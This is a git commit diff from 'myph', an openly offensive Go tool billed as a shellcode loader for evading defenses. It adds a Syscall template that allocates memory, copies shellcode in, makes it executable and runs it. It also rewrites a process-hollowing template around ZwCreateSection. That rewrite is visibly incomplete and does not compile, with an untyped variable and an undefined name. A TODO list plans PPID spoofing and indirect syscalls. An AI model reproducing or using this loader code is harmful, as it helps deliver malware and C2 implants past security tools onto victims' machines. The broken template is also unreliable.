myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit b5988efba541e702e5f1d8c2fa95049c298374ea
parent d52e602ff48bf6e18335fc7f2bdd6d59c00f1bcc
Author: winds0r <[email protected]>
Date: Fri, 28 Jul 2023 23:50:56 +0900

feat(loaders): syscall method this commit adds, for the sake of completness, the simplest technique where you just call syscall on current thread.

Diffstat:
MTODO.txt | 23++++++++++++++++-------
Mcli/parser.go | 4++--
Mcli/types.go | 5+++--
Mloaders/processHollowing.go | 52+++++++++++++++++++---------------------------------
Aloaders/syscall.go | 41+++++++++++++++++++++++++++++++++++++++++
Mloaders/utils.go | 3+++

6 files changed, 84 insertions(+), 44 deletions(-)

diff --git a/TODO.txt b/TODO.txt
@@ -4,11 +4,6 @@
 
 Templates:
     - ProcessHollowing
-    - syscall method
-
-Misc:
-    - support for loading modules from PEB
-    - Research indirect syscalls
 
 
 #############################
@@ -24,6 +19,20 @@ Sleep / jitter:
     - Ekko
 
 Misc:
-    - indirect syscalls
+    - support for loading modules from PEB
+    - Research indirect syscalls
     - Refactoring CLI options to interfaces
-    - support for dameonizing
+
+Commands:
+    - Add support for GoVersionInfo
+    - Add support for signing binary
+
+
+#############################
+####### ROADMAP 2.2.0 #######
+#############################
+
+Misc:
+    - indirect syscalls
+    - support for dameonizing ?
+    - introduce ppid spoofing ?
diff --git a/cli/parser.go b/cli/parser.go
@@ -203,7 +203,7 @@ func GetParser(opts *Options) *cobra.Command {
 			tools.MoveFile(MYPH_TMP_WITH_PAYLOAD, opts.OutName)
 			os.RemoveAll(MYPH_TMP_DIR)
 
-			println("[+] Done!")
+			fmt.Printf("[+] Done! Out file is in %s\n", opts.OutName)
 		},
 	}
 
@@ -212,7 +212,7 @@ func GetParser(opts *Options) *cobra.Command {
 	cmd.PersistentFlags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
 	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
 	cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
-	cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread)")
+	cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall)")
 
 	cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
 	cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
diff --git a/cli/types.go b/cli/types.go
@@ -15,6 +15,7 @@ const (
 	EncKindC20 encKind = "chacha20"
 
 	CRT              technique = "CRT"
+    SYSCALL          technique = "Syscall"
 	CreateThread     technique = "CreateThread"
 	ProcessHollowing technique = "ProcessHollowing"
 )
@@ -48,11 +49,11 @@ func (e *technique) String() string {
 // Set must have pointer receiver so it doesn't change the value of a copy
 func (e *technique) Set(v string) error {
 	switch v {
-	case "CreateThread", "CRT", "ProcessHollowing":
+	case "CreateThread", "CRT", "ProcessHollowing", "Syscall":
 		*e = technique(v)
 		return nil
 	default:
-		return errors.New("must be one of \"CRT\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+		return errors.New("must be one of \"CRT\", \"Syscall\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
 	}
 }
 
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -15,7 +15,6 @@ func GetProcessHollowingTemplate(targetProcess string) string {
 
 import (
 	"os"
-    "fmt"
 	"syscall"
 	"unsafe"
 )
@@ -25,15 +24,19 @@ const (
 	MEM_RESERVE            = 0x2000
 	PAGE_EXECUTE_READWRITE = 0x40
 
-    CREATE_SUSPENDED = 0x00000004
-    DETACHED_PROCESS = 0x00000008
-    CREATE_NO_WINDOW = 0x08000000
+    SEC_COMMIT          = 0x08000000
+    SECTION_ALL_ACCESS  = 0x000F001F
+    CREATE_SUSPENDED    = 0x00000004
+    DETACHED_PROCESS    = 0x00000008
+    CREATE_NO_WINDOW    = 0x08000000
 )
 
 var (
 	kernel32 = syscall.MustLoadDLL("kernel32.dll")
 	ntdll    = syscall.MustLoadDLL("ntdll.dll")
 
+    zwCreateSection = ntdll.MustFindProc("ZwCreateSection")
+
 	virtualAlloc = kernel32.MustFindProc("VirtualAlloc")
 	rtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
 	createThread  = kernel32.MustFindProc("CreateThread")
@@ -70,45 +73,28 @@ func loadProcess(target string) *syscall.ProcessInformation {
 		panic(err)
 	}
 
-    fmt.Println("[+] Created process in suspended state")
+    println("[+] Created process in suspended state")
 
 	return &pi
 }
 
 func ExecuteOrderSixtySix(payload []byte) {
-
-	// Create the process
     process := loadProcess("%s")
 
-   	// Allocate memory for the payload in the target process
-	payloadAddr, _, _ := virtualAlloc.Call(
-		0, uintptr(len(payload)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
-	); if payloadAddr == 0 {
-        os.Exit(1)
-	}
-
-    fmt.Printf("[+] Payload addr: %%#lx \n", payloadAddr)
-
-	// Copy the payload to the target process
-	_, _, _ = rtlCopyMemory.Call(
-		payloadAddr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)),
-	)
 
-    fmt.Println("[+] rtlCopyMemory done")
+    var hShellcode
+    sectionSize := int64(len(shellcode))
+    _, _, _ = ZwCreateSection.Call(
+        uintptr(unsafe.Pointer(&hShellcode)),
+        SECTION_ALL_ACCESS,
+        nil,
+        uintptr(unsafe.Pointer(sectionSize)),
+        PAGE_EXECUTE_READWRITE,
+        SEC_COMMIT,
+        nil,
+    )
 
-	// Create a remote thread to execute the payload
-	var threadID uint32
-	threadHandle, _, _ := createThread.Call(
-		0, 0, payloadAddr, 0, 0, uintptr(unsafe.Pointer(&threadID)),
-	); if threadHandle == 0 {
-        os.Exit(1)
-	}
-	defer syscall.CloseHandle(syscall.Handle(threadHandle))
-    fmt.Println("[+] createThread done")
 
-	// Resume the suspended main thread to allow the payload to execute
-	resumeThread.Call(uintptr(process.Thread))
-    fmt.Println("[+] resumeThread done")
 
     /* block, so that process does not die (useful for C2 implants) */
     select {}
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -0,0 +1,41 @@
+package loaders
+
+import (
+    "fmt"
+)
+
+func GetSyscallTemplate(targetProcess string) string {
+    _ = targetProcess // unused in this technique
+
+    return fmt.Sprintf(`
+package main
+
+import (
+	"syscall"
+	"unsafe"
+)
+
+const (
+	MEM_COMMIT = 0x1000
+	MEM_RESERVE = 0x2000
+	PAGE_EXECUTE_READ = 0x20
+	PAGE_READWRITE = 0x04
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+	kernel32 := syscall.MustLoadDLL("kernel32.dll")
+	ntdll := syscall.MustLoadDLL("ntdll.dll")
+
+	VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
+	VirtualProtect := kernel32.MustFindProc("VirtualProtect")
+	RtlCopyMemory := ntdll.MustFindProc("RtlCopyMemory")
+
+	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
+	_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+	oldProtect := PAGE_READWRITE
+	_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+	_, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
+}
+    `)
+}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -12,6 +12,9 @@ func SelectTemplate(templateName string) func(string) string {
 	case "ProcessHollowing":
 		return GetProcessHollowingTemplate
 
+    case "Syscall":
+        return GetSyscallTemplate
+
 	}
 
 	return nil